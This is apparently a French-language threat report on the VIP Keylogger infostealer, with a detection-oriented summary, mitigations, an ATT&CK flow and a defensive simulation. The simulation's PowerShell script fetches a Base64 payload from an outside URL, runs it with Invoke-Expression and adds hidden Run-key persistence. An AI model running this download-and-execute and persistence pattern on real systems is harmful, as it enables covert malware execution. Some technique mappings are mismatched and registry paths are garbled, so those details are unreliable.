SOC Prime Bias: Moyen

18 May 2026 19:04 UTC

VIP Keylogger et ses tactiques d’évasion à plusieurs niveaux

Author Photo
SOC Prime Team linkedin icon Suivre
VIP Keylogger et ses tactiques d’évasion à plusieurs niveaux
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

VIP Keylogger est une menace modulaire de vol d’informations diffusée via des appâts de phishing tels que de fausses alertes de paiement bancaire. Sa chaîne d’infection repose sur des chargeurs malveillants VBS, JavaScript ou batch qui utilisent une forte obfuscation, de la stéganographie dans les images PNG, et détournent les variables d’environnement pour masquer les étapes PowerShell avant de lancer le keylogger final. Une fois actif, le logiciel malveillant capture les identifiants, les captures d’écran, le contenu du presse-papiers et les mots de passe Wi-Fi, puis exfiltre les données via plusieurs canaux de commande et de contrôle. Les efforts de détection devraient se concentrer sur les modifications suspectes du registre, les valeurs inhabituelles des variables d’environnement et les transitions anormales de l’exécution de scripts à des charges utiles binaires.

Enquête

L’équipe de recherche sur les menaces de Splunk a examiné plus de 200 échantillons de chargeurs collectés en mars et avril 2026, documentant leurs modèles de nommage, variantes de chargeurs, et l’utilisation stéganographique des fichiers PNG pour la livraison des charges utiles. Les chercheurs ont reproduit le processus de désobfuscation, identifié l’abus de la INTERNAL_DB_CACHE variable d’environnement, et tracé la persistance jusqu’à la clé de registre UserInitMprLogonScript . Le rapport a également cartographié chaque comportement observé aux techniques MITRE ATT&CK pertinentes pour soutenir l’ingénierie de détection.

Atténuation

Les organisations devraient arrêter les tentatives de phishing initiales par des contrôles de sécurité des e-mails plus forts et un filtrage d’URL. Les défenseurs devraient surveiller la création et la modification des valeurs HKCUEnvironment , en particulier les entrées surdimensionnées ou l’utilisation de la variable INTERNAL_DB_CACHE . L’exécution de chargeurs basés sur des scripts à partir de répertoires modifiables par l’utilisateur devrait être restreinte, et le mode de langage contraint de PowerShell devrait être imposé lorsque cela est possible. Les outils de sécurité des points d’extrémité devraient également détecter l’injection de processus dans aspnet_compiler.exe et les activités suspectes de netsh .

Réponse

Si un indicateur de VIP Keylogger est détecté, isolez l’hôte affecté, collectez la mémoire volatiles et les journaux d’exécution de processus récents, et recherchez les artefacts connus du registre, les URL de commande et contrôle basés sur PNG, et les fichiers déposés. Les scripts malveillants doivent être supprimés, les identifiants exposés réinitialisés, et un balayage plus large doit être effectué sur l’environnement pour les artefacts de chargeurs connexes et mécanismes de persistance.

graph TB classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef operator fill:#ff9900 initial_access[« <b>Action</b> – <b>T1566 Phishing</b><br/>Fichiers malveillants .vbs/.js/.bat livrés par email »] class initial_access action execution[« <b>Action</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Exécution de stagers sur l’hôte »] class execution action obfuscation[« <b>Action</b> – <b>T1027.016 Insertion de code inutile</b>, <b>T1027.003 Stéganographie</b>, <b>T1027.009 Charges intégrées</b><br/>Charges utiles dissimulées »] class obfuscation action persistence[« <b>Action</b> – <b>T1574.007 Détournement du flux d’exécution</b> via registre (UserInitMprLogonScript)<br/><b>T1037.001 Script de démarrage</b><br/>Persistance à la connexion »] class persistence action priv_esc[« <b>Action</b> – <b>T1055.002 Injection de processus PE</b>, <b>T1055.001 Injection DLL</b>, <b>T1620 Chargement réflexif</b><br/>Escalade de privilèges et contournement »] class priv_esc action credential_access[« <b>Action</b> – <b>T1555.003 Données navigateur</b>, <b>T1056.001 Keylogging</b>, <b>T1115 Détournement presse-papiers</b><br/>Collecte d’identifiants »] class credential_access action discovery[« <b>Action</b> – <b>T1596.005 IP externe découverte</b> via services publics<br/><b>T1016.002 Découverte Wi-Fi</b><br/>Collecte réseau »] class discovery action collection[« <b>Action</b> – <b>T1113 Capture d’écran</b><br/>Collecte visuelle du bureau »] class collection action c2[« <b>Action</b> – <b>T1071.001 Protocoles Web</b> et API Telegram<br/>Commande et contrôle »] class c2 action defense_evasion[« <b>Action</b> – <b>T1070.004 Suppression de fichiers</b>, <b>T1070.010 Suppression d’indicateurs</b><br/>Suppression de preuves »] class defense_evasion action initial_access –>|mène_à| execution execution –>|mène_à| obfuscation obfuscation –>|mène_à| persistence persistence –>|mène_à| priv_esc priv_esc –>|mène_à| credential_access credential_access –>|mène_à| discovery discovery –>|mène_à| collection collection –>|mène_à| c2 c2 –>|mène_à| defense_evasion

Flux d’attaque

Exécution de la simulation

Préalable : le contrôle préalable de télémétrie et de référence doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront des erreurs de diagnostic.

  • Narratif d’attaque et commandes :

    1. Reconnaissance initiale – l’attaquant exécute Get-ADDomain (T1016.002) pour découvrir les relations de confiance du domaine.
    2. Acquisition de charge utile – en utilisant Invoke-WebRequest (T1071.001) l’attaquant télécharge une DLL encodée en Base64 qui implémente le keylogger (T1056.001).
    3. Mise en scène via une variable d’environnement – la chaîne téléchargée est stockée dans une variable d’environnement au niveau de l’utilisateur via [Environment]::SetEnvironmentVariable. Cette étape satisfait l’accent de la règle de détection sur la manipulation des variables d’environnement.
    4. Exécution dynamique – l’attaquant exécute immédiatement la charge utile avec Invoke-Expression $env:VIPPayload (T1059.001). Le keylogger commence à capturer les frappes au clavier, les captures d’écran (T1113), et les données du presse-papiers (T1115).
    5. Nettoyage – après avoir établi la persistance (par exemple, en créant une clé Run, T1037.001), l’attaquant supprime la DLL temporaire du disque (T1070.004) et retire la variable d’environnement pour réduire les traces forensic.
  • Script de test de régression : Le script ci-dessous reproduit exactement les étapes et génère la télémétrie que la règle Sigma attend.

    # Simulation VIP Keylogger - PowerShell
    # -------------------------------------------------
    # 1. Télécharger une charge utile factice (chaîne encodée en Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Stocker la charge utile dans une variable d'environnement au niveau de l'utilisateur
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Décoder et exécuter la charge utile via Invoke-Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Optionnel) Persister via clé Run - démontre T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Nettoyage - supprimer la variable d'environnement et l'entrée de clé Run
    Start-Sleep -Seconds 30   # permettre l'enregistrement de certaines activités
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Commandes de nettoyage : Exécutez ces commandes pour ramener le système à un état impeccable après le test.

    # Supprimer la variable d'environnement créée pour le test
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Supprimer l'entrée de clé Run de persistance si elle existe
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Effacer toutes les entrées résiduelles de l'historique PowerShell (optionnel)
    Clear-History